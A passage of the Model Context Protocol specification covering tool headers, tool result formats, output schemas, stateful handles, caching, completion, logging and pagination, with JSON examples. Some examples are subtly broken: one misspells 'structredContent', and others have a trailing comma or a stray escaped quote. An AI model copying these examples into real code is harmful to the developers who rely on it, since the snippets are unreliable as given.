- **MUST NOT** contain control characters, including carriage return (CR, `\r`) or line feed (LF, `\n`)
- **MUST** be case-insensitively unique among all `x-mcp-header` values in the `inputSchema`
- **MUST** only be applied to parameters with primitive types (integer, string, boolean).
Parameters with type `number` are not permitted. Integer values **MUST** be within the safe range

for integers represented using IEEE754 double-precision floating point numbers ($-2^{53}+1$ to $2^{53}-1$)

- **MUST** only be applied to properties that are *statically reachable* from the schema root, as defined in [Custom Headers from Tool Parameters](#), which also defines how header values are extracted from call arguments

Clients using the Streamable HTTP transport **MUST** reject tool definitions where any `x-mcp-header` value violates these constraints. Rejection means the client **MUST** exclude the invalid tool from the result of `tools/list`. Clients **SHOULD** log a warning when rejecting a tool definition, including the tool name and the reason for rejection. This ensures that a single malformed tool definition does not prevent other valid tools from being used. Clients using other transports (e.g., stdio) **MAY** ignore `x-mcp-header` annotations entirely.

Example tool definition with `x-mcp-header`:

```
{
  "name": "execute_sql",
  "description": "Execute SQL on Google Cloud Spanner",
  "inputSchema": {
    "type": "object",
    "properties": {
      "region": {
        "type": "string",
        "description": "The region to execute the query in",
        "x-mcp-header": "Region"
      },
      "query": {
        "type": "string",
        "description": "The SQL query to execute"
      }
    },
    "required": ["region", "query"]
  }
}
```

In this example, when the tool is called with `"region": "us-west1"`, the client adds the header `Mcp-Param-Region: us-west1` to the HTTP request.

주의

Server developers **SHOULD NOT** mark sensitive parameters (passwords, API keys, tokens, PII) with `x-mcp-header`, as header values are visible to network intermediaries.

Tool Result

Tool results may contain [structured](#) or **unstructured** content.

Unstructured content is returned in the `content` field of a result, and can contain multiple content items of different types:

참고

All content types (text, image, audio, resource links, and embedded resources) support optional [annotations](#) that provide metadata about audience, priority, and modification times. This is the same annotation format used by resources and prompts.

Text Content

```
{
  "type": "text",
  "text": "Tool result text"
}
```

Image Content

```
{
  "type": "image",
  "data": "base64-encoded-data",
  "mimeType": "image/png",
  "annotations": {
    "audience": ["user"],
    "priority": 0.9
  }
}
```

Audio Content

```
{
  "type": "audio",
  "data": "base64-encoded-audio-data",
  "mimeType": "audio/wav"
}
```

Resource Links

A tool **MAY** return links to [Resources](#), to provide additional context or data. In this case, the tool will return a URI that can be subscribed to or fetched by the client:

```
{
  "type": "resource_link",
  "uri": "file:///project/src/main.rs",
  "name": "main.rs",
}
```

```
"description": "Primary application entry point",
"mimeType": "text/x-rust"
}
```

Resource links support the same [Resource annotations](#) as regular resources to help clients understand how to use them.

정보

Resource links returned by tools are not guaranteed to appear in the results of a `resources/list` request.

Embedded Resources

[Resources](#) **MAY** be embedded to provide additional context or data using a suitable [URI scheme](#). Servers that use embedded resources **SHOULD** implement the `resources` capability:

```
{
  "type": "resource",
  "resource": {
    "uri": "file:///project/src/main.rs",
    "mimeType": "text/x-rust",
    "text": "fn main() {\n    println!(\"Hello world!\");\n}",
    "annotations": {
      "audience": ["user", "assistant"],
      "priority": 0.7,
      "lastModified": "2025-05-03T14:30:00Z"
    }
  }
}
```

Embedded resources support the same [Resource annotations](#) as regular resources to help clients understand how to use them.

Structured Content

Structured content is returned as a JSON value in the `structuredContent` field of a result. This can be any JSON value (object, array, string, number, boolean, or null) that conforms to the tool's `outputSchema` if one is defined.

For backwards compatibility, a tool that returns structured content **SHOULD** also return the serialized JSON in a `TextContent` block.

참고

`structuredContent` is server-produced result data and is unrelated to LLM "structured outputs" (schema-constrained model generation).

Output Schema

Tools may also provide an output schema for validation of structured results. If an output schema is provided:

- Servers **MUST** provide structured results that conform to this schema.
- Clients **SHOULD** validate structured results against this schema.

Example tool with output schema:

```
{
  "name": "get_weather_data",
  "title": "Weather Data Retriever",
  "description": "Get current weather data for a location",
  "inputSchema": {
    "type": "object",
    "properties": {
      "location": {
        "type": "string",
        "description": "City name or zip code"
      }
    },
    "required": ["location"]
  },
  "outputSchema": {
    "type": "object",
    "properties": {
      "temperature": {
        "type": "number",
        "description": "Temperature in celsius"
      },
      "conditions": {
        "type": "string",
        "description": "Weather conditions description"
      },
      "humidity": {
        "type": "number",
        "description": "Humidity percentage"
      }
    },
    "required": ["temperature", "conditions", "humidity"]
  }
}
```

Example valid response for this tool:

```
{
  "jsonrpc": "2.0",
  "id": 5,
  "result": {
    "resultType": "complete",
    "content": [
      {
        "type": "text",
        "text": "{\"temperature\": 22.5, \"conditions\": \"Partly cloudy\", \"humidity\": 65}"
      }
    ],
    "structuredContent": {
      "temperature": 22.5,
      "conditions": "Partly cloudy",
      "humidity": 65
    }
  }
}
```

Example tool with array output schema:

```
{
  "name": "list_users",
  "title": "User List",
  "description": "Returns a list of all users",
  "inputSchema": {
    "type": "object",
    "properties": {}
  },
  "outputSchema": {
    "type": "array",
    "items": {
      "type": "object",
      "properties": {
        "id": { "type": "string" },
        "name": { "type": "string" },
        "email": { "type": "string" }
      },
      "required": ["id", "name", "email"]
    }
  }
}
```

Example valid response for a tool with array output:

```
{
  "jsonrpc": "2.0",
  "id": 6,
  "result": {
```

```

"resultType": "complete",
"content": [
  {
    "type": "text",
    "text": "Found 2 users: Alice (alice@example.com) and Bob (bob@example.com).\"
  }
],
"structredContent": [
  { "id": "1", "name": "Alice", "email": "alice@example.com" },
  { "id": "2", "name": "Bob", "email": "bob@example.com" }
]
}
}

```

Providing an output schema helps clients and LLMs understand and properly handle structured tool outputs by:

- Enabling strict schema validation of responses
- Providing type information for better integration with programming languages
- Guiding clients and LLMs to properly parse and utilize the returned data
- Supporting better documentation and developer experience

Schema Examples

Tool with default 2020-12 schema:

```

{
  "name": "calculate_sum",
  "description": "Add two numbers",
  "inputSchema": {
    "type": "object",
    "properties": {
      "a": { "type": "number" },
      "b": { "type": "number" }
    },
    "required": ["a", "b"]
  }
}

```

Tool with explicit draft-07 schema:

```

{
  "name": "calculate_sum",
  "description": "Add two numbers",
  "inputSchema": {
    "$schema": "http://json-schema.org/draft-07/schema#",
    "type": "object",
    "properties": {

```



```

    "a": { "type": "number" },
    "b": { "type": "number" }
  },
  "required": ["a", "b"]
}
}

```

Tool with no parameters:

```

{
  "name": "get_current_time",
  "description": "Returns the current server time",
  "inputSchema": {
    "type": "object",
    "additionalProperties": false
  }
}

```

Stateful Tools

참고

This section is non-normative guidance for tool design. The protocol has no concept of a state handle; from the wire's perspective a handle is an ordinary string in a tool result and an ordinary argument to subsequent tool calls.

MCP has no protocol-level session, so a server cannot rely on implicit per-connection state to relate one tool call to the next. Servers that need to maintain state across calls — a shopping cart, an open browser context, a database transaction — should do so by returning an explicit handle from a creation tool and accepting that handle as an argument on subsequent calls.

For example, a server that manages a shopping cart might expose:

```

// → tools/call
{ "name": "create_basket", "arguments": {} }

// ← result
{
  "content": [{ "type": "text", "text": "Created basket bsk_a1b2c3" }],
  "structuredContent": { "basket_id": "bsk_a1b2c3" }
}

// → tools/call
{
  "name": "add_item",

```

```
"arguments": { "basket_id": "bsk_a1b2c3", "sku": "..." }
}
```

The model is responsible for carrying `basket_id` forward; the server stores the cart contents under that key and looks them up on each call.

When designing handles, servers should consider:

- **Authorization.** For authenticated servers, a handle is a name, not a capability. The server should validate the caller's authorization against the handle on every call. For unauthenticated servers, where the handle is necessarily a bearer token, it should be generated with sufficient entropy (e.g., a UUIDv4) and given a bounded lifetime.
- **Opacity.** Handles that encode internal structure invite parsing or guessing; opaque identifiers do not.
- **Lifetime.** Because handles outlive any single connection, the server's retention policy should be stated in the creation tool's description (e.g., "baskets expire after 24 hours of inactivity") so the model can see it when deciding to create state.
- **Expiry errors.** A call against an expired or unknown handle should return a tool execution error that says so, so the model can recover by creating a new one.

Error Handling

Tools use two error reporting mechanisms:

1. **Protocol Errors** indicate issues with the request structure itself that models are less likely to be able to fix: - Unknown tool - Malformed requests (requests that fail to satisfy [CallToolRequest schema](#)) - Server errors

They are returned as standard JSON-RPC errors:

```
{
  "jsonrpc": "2.0",
  "id": 3,
  "error": {
    "code": -32602,
    "message": "Unknown tool: invalid_tool_name"
  }
}
```

2. **Tool Execution Errors** contain actionable feedback that language models can use to self-correct and retry with adjusted parameters: - API failures - Input validation errors (e.g., date in wrong format, value out of range) - Business logic errors

They are reported in tool results with `isError: true`:

```
{
  "jsonrpc": "2.0",
```

```
"id": 4,
"result": {
  "resultType": "complete",
  "content": [
    {
      "type": "text",
      "text": "Invalid departure date: must be in the future. Current date is 08/08/2025."
    }
  ],
  "isError": true
}
```

Clients **MAY** provide protocol errors to language models, though these are less likely to result in successful recovery. Clients **SHOULD** provide tool execution errors to language models to enable self-correction.

Security Considerations

1. Servers **MUST**: - Validate all tool inputs - Implement proper access controls - Rate limit tool invocations - Sanitize tool outputs
2. Clients **SHOULD**: - Prompt for user confirmation on sensitive operations - Show tool inputs to the user before calling the server, to avoid malicious or accidental data exfiltration - Validate tool results before passing to LLM - Follow the [\\$ref resolution requirements](#) when validating tool inputs and outputs against `inputSchema` and `outputSchema` - Implement timeouts for tool calls - Log tool usage for audit purposes

**mcp / specification/2026-07-
28/server/utilities**

Caching

mcp/specification/2026-07-28/server/utilities/caching.mdx

The Model Context Protocol (MCP) supports caching for some results. This allows clients to cache responses and reduce unnecessary re-fetching. Caching is complementary to [change notifications](#)—both mechanisms can coexist.

Cacheable Results

Servers **MUST** include caching hints on results with `resultType: "complete"` returned by the following operations:

- `server/discover`
- `tools/list`
- `prompts/list`
- `resources/list`
- `resources/templates/list`
- `resources/read`

Interim results with `resultType: "input_required"` (see [multi round-trip requests](#)) are not cacheable and carry no caching hints.

Cache Key

A cached response is identified by the request method together with the request parameters that affect the result (for example, the `uri` for `resources/read`, or the `cursor` for paginated list requests). Clients **MUST NOT** serve a cached response for a request whose method or parameters differ from the request that produced it.

Results produced by retrying a request through the [multi round-trip requests](#) mechanism—that is, requests carrying `inputResponses` or `requestState`—**MUST NOT** be cached, as they depend on inputs that are not part of the cache key.

Cacheable Model

Cacheable Results in MCP use two fields to provide caching hints to clients:

- The **Time-to-live (TTL) Field**, `ttlMs`, is an integer value in milliseconds specifying how long the client **MAY** consider the result fresh.
- The **Cache Scope Field**, `cacheScope`, indicates the intended scope of the cached response, either `"public"` or `"private"`.

Time-to-Live (TTL) Field

The `ttlMs` field is a hint from the server indicating how long, in milliseconds, the client MAY consider the result fresh. Semantics are analogous to HTTP `Cache-Control: max-age`.

- If `ttlMs` is `0`, the response **SHOULD** be considered immediately stale. The client MAY re-fetch every time the result is needed.
- If `ttlMs` is positive, the client **SHOULD** consider the result fresh for that many milliseconds after receiving the response.
- If `ttlMs` is absent, clients **SHOULD** assume a default of `0` (immediately stale) and rely on their own caching heuristics or notifications. This should only occur in older server versions.
- If `ttlMs` is negative, clients **SHOULD** ignore it and treat it as `0`.

Servers **MUST** provide a `ttlMs` value that is ≥ 0 .

참고

TTL is a **freshness hint**, not a guarantee. Servers MAY change the underlying data before the TTL expires. The TTL tells the client how long it can reasonably avoid re-fetching, not how long the data is guaranteed to remain unchanged.

Freshness Calculation

A client records the local time at which the response was received (`t_received`). The response is considered **fresh** while:

```
now < t_received + ttlMs
```

Once the TTL expires, the response is **stale** and the client **SHOULD** re-fetch on next access.

Clients **SHOULD NOT** treat TTL as a polling interval that triggers automatic background refetches. The TTL is a freshness hint: the client checks freshness when it needs the data, and re-fetches only if stale. Implementations that do choose to poll **MUST** apply jitter and backoff.

Clients **MAY** re-fetch before the TTL expires if they have reason to believe the data has changed (e.g., receiving an unexpected error on a tool call indicating the method was not found or the parameters were invalid).

Clients **MAY** serve stale responses if errors occur during re-fetching (e.g., network issues, server downtime).

Cache Scope Field

The `cacheScope` field controls who may cache a response, analogous to HTTP `Cache-Control: public` VS `Cache-Control: private`.

Value	Meaning
"public"	The response does not contain user-specific data. Any client, shared gateway, or caching proxy MAY store and serve the cached response to any user.
"private"	The response contains private data that is not meant to be shared between callers. Cached responses MAY be reused for the same authorization context. Caches MUST NOT be shared across authorization contexts (e.g. a different access token requires a different cache).

Choosing a Cache Scope

- **"public"** is appropriate for lists of tools, prompts, and resource templates when they are identical for all users.
- **"private"** is appropriate for `resources/read` results that depend on the authenticated user, or for filtered list results that vary per user.

Interaction with Notifications

TTL and server-push notifications are complementary:

- A server **MAY** provide `ttlMs` without advertising `listChanged: true` in its capabilities. In this case, the client relies entirely on TTL-based freshness.
- A server **MAY** advertise `listChanged: true` **and** provide `ttlMs`. In this case, the client can use the TTL to avoid unnecessary refetches between notifications, and the notification acts as an immediate invalidation signal.

When a relevant notification is received while a cached response is still fresh, the notification **invalidates** the cached response and it should be considered immediately stale.

```
sequenceDiagram
    participant Client
    participant Server

    Client->>Server: tools/list
    Server-->>Client: { tools: [...], ttlMs: 300000 }
    Note over Client: Cache response, fresh for 5 min

    Note over Client: 2 minutes later...
    Client->>Client: Need tools list → cache still fresh, use cached

    Note over Client: 3 minutes later (TTL expired)...
    Client->>Client: Need tools list → cache stale
    Client->>Server: tools/list
    Server-->>Client: { tools: [...], ttlMs: 300000 }

    Note over Server: Tools change before TTL expires
    Server-->>Client: notifications/tools/list_changed
```

```
Note over Client: Invalidate cache immediately
Client->>Server: tools/list
Server-->>Client: { tools: [...], ttlMs: 300000 }
```

Interaction with Pagination

When a list result is [paginated](#), each page is an independently cacheable response—consistent with how HTTP `Cache-Control` treats paginated resources.

- Each page response carries its own `ttlMs` value. The freshness clock for each page starts at the time that page was received.
- Servers **MAY** return different `ttlMs` values on different pages (e.g., a longer TTL for early pages of a stable list, a shorter TTL for the final page).
- When a cached page expires, the client **SHOULD** re-fetch that page using its cursor.
- There is no cross-page consistency guarantee. If the underlying data changes between page fetches, clients may observe duplicates or gaps.
- Clients that require a consistent snapshot of the full list **SHOULD** re-fetch from the beginning (without a cursor).
- If a cursor becomes invalid (e.g., the server returns an error for a previously valid cursor), the client **SHOULD** discard all cached pages and re-fetch from the beginning.

Servers **MUST** apply the same `cacheScope` to all response pages for a given list request. For example, if the first page of a `tools/list` response has `cacheScope: "private"`, all subsequent pages for that request **MUST** also be `"private"`.

Security Considerations

A `cacheScope` of `"public"` indicates that the response does not contain user-specific data and can be safely shared. Servers **MUST** be aware that responses with a `"public"` `cacheScope` may be shared between callers even if the Result is coming from an authenticated endpoint. For example, the Result from an authenticated `tools/list` call with a `"public"` `cacheScope` may be cached by a client and may be shared outside of the initial requests authorization context. (i.e. different access tokens can leverage the same cache).

Server implementors:

- should ensure that the `cacheScope` correctly reflects the intended visibility of the primitive.
- **MUST** apply appropriate per-primitive access controls, and **MUST NOT** rely on `cacheScope` alone to prevent unauthorized access to primitives.

Completion

mcp/specification/2026-07-28/server/utilities/completion.mdx

The Model Context Protocol (MCP) provides a standardized way for servers to offer autocompletion suggestions for the arguments of prompts and resource templates. When users are filling in argument values for a specific prompt (identified by name) or resource template (identified by URI), servers can provide contextual suggestions.

참고

For brevity, the request examples on this page omit the `_meta` request metadata (`io.modelcontextprotocol/protocolVersion`, `io.modelcontextprotocol/clientInfo`, and `io.modelcontextprotocol/clientCapabilities`). Every request **MUST** include the required `_meta` fields; see [_meta](#).

User Interaction Model

Completion in MCP is designed to support interactive user experiences similar to IDE code completion.

For example, applications may show completion suggestions in a dropdown or popup menu as users type, with the ability to filter and select from available options.

However, implementations are free to expose completion through any interface pattern that suits their needs—the protocol itself does not mandate any specific user interaction model.

Capabilities

Servers that support completions **MUST** declare the `completions` capability:

```
{
  "capabilities": {
    "completions": {}
  }
}
```

Protocol Messages

Requesting Completions

To get completion suggestions, clients send a `completion/complete` request specifying what is being completed through a reference type:

Request:

```
{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "completion/complete",
  "params": {
    "ref": {
      "type": "ref/prompt",
      "name": "code_review"
    },
    "argument": {
      "name": "language",
      "value": "py"
    }
  }
}
```

Response:

```
{
  "jsonrpc": "2.0",
  "id": 1,
  "result": {
    "resultType": "complete",
    "completion": {
      "values": ["python", "pytorch", "pyside"],
      "total": 10,
      "hasMore": true
    }
  }
}
```

For prompts or URI templates with multiple arguments, clients should include previous completions in the `context.arguments` object to provide context for subsequent requests.

Request:

```
{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "completion/complete",
  "params": {
    "ref": {
      "type": "ref/prompt",
      "name": "code_review"
    },
    "argument": {
      "name": "framework",

```

```

    "value": "fla"
  },
  "context": {
    "arguments": {
      "language": "python"
    }
  }
}
}

```

Response:

```

{
  "jsonrpc": "2.0",
  "id": 1,
  "result": {
    "resultType": "complete",
    "completion": {
      "values": ["flask"],
      "total": 1,
      "hasMore": false
    }
  }
}

```

Reference Types

The protocol supports two types of completion references:

Type	Description	Example
ref/prompt	References a prompt by name	<code>{"type": "ref/prompt", "name": "code_review"}</code>
ref/resource	References a resource URI or URI template	<code>{"type": "ref/resource", "uri": "file:///path"}</code>

Completion Results

Servers return an array of completion values ranked by relevance, with:

- Maximum 100 items per response
- Optional total number of available matches
- Boolean indicating if additional results exist

Message Flow

```

sequenceDiagram
    participant Client

```

participant Server

Note over Client: User types argument

Client->>Server: completion/complete

Server-->>Client: Completion suggestions

Note over Client: User continues typing

Client->>Server: completion/complete

Server-->>Client: Refined suggestions

Data Types

CompleteRequest

- `ref`: A `PromptReference` OR `ResourceTemplateReference`. For `ResourceTemplateReference`, `uri` is a URI or URI template.
- `argument`: Object containing:
- `name`: Argument name
- `value`: Current value
- `context`: Object containing:
- `arguments`: A mapping of already-resolved argument names to their values.

CompleteResult

- `completion`: Object containing:
- `values`: Array of suggestions (max 100)
- `total`: Optional total matches
- `hasMore`: Additional results flag

Error Handling

Servers **SHOULD** return standard JSON-RPC errors for common failure cases:

- Method not found: `-32601` (Capability not supported)
- Invalid prompt name: `-32602` (Invalid params)
- Missing required arguments: `-32602` (Invalid params)
- Internal errors: `-32603` (Internal error)

Implementation Considerations

1. Servers **SHOULD**: - Return suggestions sorted by relevance - Implement fuzzy matching where appropriate - Rate limit completion requests - Validate all inputs
2. Clients **SHOULD**: - Debounce rapid completion requests - Cache completion results where appropriate - Handle missing or partial results gracefully

Security

Implementations **MUST**:

- Validate all completion inputs
- Implement appropriate rate limiting
- Control access to sensitive suggestions
- Prevent completion-based information disclosure

Logging

mcp/specification/2026-07-28/server/utilities/logging.mdx

주의

Deprecated: The Logging feature is deprecated as of protocol version 2026-07-28 ([SEP-2577](#)). Under the [feature lifecycle policy](#), it remains in the specification for at least twelve months after this revision's release before it becomes eligible for removal. New implementations **SHOULD NOT** adopt it; existing implementations **SHOULD** migrate to logging to `stderr` for stdio transports, or to [OpenTelemetry](#) for structured observability. See the [deprecated features registry](#).

The Model Context Protocol (MCP) provides a standardized way for servers to send structured log messages to clients. Clients control logging verbosity per-request via `_meta`, with servers sending notifications containing severity levels, optional logger names, and arbitrary JSON-serializable data.

User Interaction Model

Implementations are free to expose logging through any interface pattern that suits their needs—the protocol itself does not mandate any specific user interaction model.

Capabilities

Servers that emit log message notifications **MUST** declare the `logging` capability:

```
{
  "capabilities": {
    "logging": {}
  }
}
```

Log Levels

The protocol follows the standard syslog severity levels specified in [RFC 5424](#):

Level	Description	Example Use Case
debug	Detailed debugging information	Function entry/exit points
info	General informational messages	Operation progress updates
notice	Normal but significant events	Configuration changes
warning	Warning conditions	Deprecated feature usage

Level	Description	Example Use Case
error	Error conditions	Operation failures
critical	Critical conditions	System component failures
alert	Action must be taken immediately	Data corruption detected
emergency	System is unusable	Complete system failure

Requesting Log Messages

Per-request log level

To receive log messages for a specific request, include `io.modelcontextprotocol/logLevel` in the request's `_meta`. The server **MUST NOT** emit `notifications/message` for a request that does not include this field.

When the field is present, the server **MAY** send `notifications/message` notifications at or above the requested level on the response stream of that request, before the final response.

`notifications/message` is request-scoped: the server **MUST NOT** deliver it on a [subscriptions/listen](#) stream or on any stream other than the one carrying the response to the request that set the log level.

Protocol Messages

Log Message Notifications

Servers send log messages using `notifications/message` notifications:

```
{
  "jsonrpc": "2.0",
  "method": "notifications/message",
  "params": {
    "level": "error",
    "logger": "database",
    "data": {
      "error": "Connection failed",
      "details": {
        "host": "localhost",
        "port": 5432
      }
    }
  }
}
```

Error Handling

If the `io.modelcontextprotocol/logLevel` value carried in a request's `_meta` is not a recognized [log level](#), the server **SHOULD** reject that request with a standard JSON-RPC error:

- Invalid log level: `-32602` (Invalid params)
- Internal errors: `-32603` (Internal error)

Implementation Considerations

1. Servers **SHOULD**: - Rate limit log messages - Include relevant context in data field - Use consistent logger names - Remove sensitive information
2. Clients **MAY**: - Present log messages in the UI - Implement log filtering/search - Display severity visually - Persist log messages

Security

1. Log messages **MUST NOT** contain: - Credentials or secrets - Personal identifying information - Internal system details that could aid attacks
2. Implementations **SHOULD**: - Rate limit messages - Validate all data fields - Control log access - Monitor for sensitive content

Pagination

mcp/specification/2026-07-28/server/utilities/pagination.mdx

The Model Context Protocol (MCP) supports paginating list operations that may return large result sets. Pagination allows servers to yield results in smaller chunks rather than all at once.

Pagination is especially important when connecting to external services over the internet, but also useful for local integrations to avoid performance issues with large data sets.

참고

For brevity, the request examples on this page omit the `_meta` request metadata (`io.modelcontextprotocol/protocolVersion`, `io.modelcontextprotocol/clientInfo`, and `io.modelcontextprotocol/clientCapabilities`). Every request **MUST** include the required `_meta` fields; see [_meta](#).

Pagination Model

Pagination in MCP uses an opaque cursor-based approach, instead of numbered pages.

- The **cursor** is an opaque string token, representing a position in the result set
- **Page size** is determined by the server, and clients **MUST NOT** assume a fixed page size

Response Format

Pagination starts when the server sends a **response** that includes:

- The current page of results
- An optional `nextCursor` field if more results exist

```
{
  "jsonrpc": "2.0",
  "id": "123",
  "result": {
    "resultType": "complete",
    "resources": [...],
    "nextCursor": "eyJwYXdlIjogM30=",
    "ttlMs": 300000,
    "cacheScope": "public"
  }
}
```

Request Format

After receiving a cursor, the client can *continue* paginating by issuing a request including that cursor:

```
{
  "jsonrpc": "2.0",
  "id": "124",
  "method": "resources/list",
  "params": {
    "cursor": "eyJwYWdlIjogMn0="
  }
}
```

Pagination Flow

```
sequenceDiagram
    participant Client
    participant Server

    Client->>Server: List Request (no cursor)
    loop Pagination Loop
        Server-->>Client: Page of results + nextCursor
        Client->>Server: List Request (with cursor)
    end
    end
```

Operations Supporting Pagination

The following MCP operations support pagination:

- `resources/list` - List available resources
- `resources/templates/list` - List resource templates
- `prompts/list` - List available prompts
- `tools/list` - List available tools

Implementation Guidelines

1. Servers **SHOULD**: - Provide stable cursors - Handle invalid cursors gracefully
2. Clients **SHOULD**: - Treat a missing `nextCursor` as the end of results - Support both paginated and non-paginated flows
3. Clients **MUST** treat cursors as opaque tokens: - Don't make assumptions about cursor format - Don't attempt to parse or modify cursors - Don't make any determination based on cursor

value other than whether a non-null value was provided (e.g. an empty string is a valid cursor and thus **MUST NOT** be treated as the end of results)

Error Handling

Invalid cursors **SHOULD** result in an error with code -32602 (Invalid params).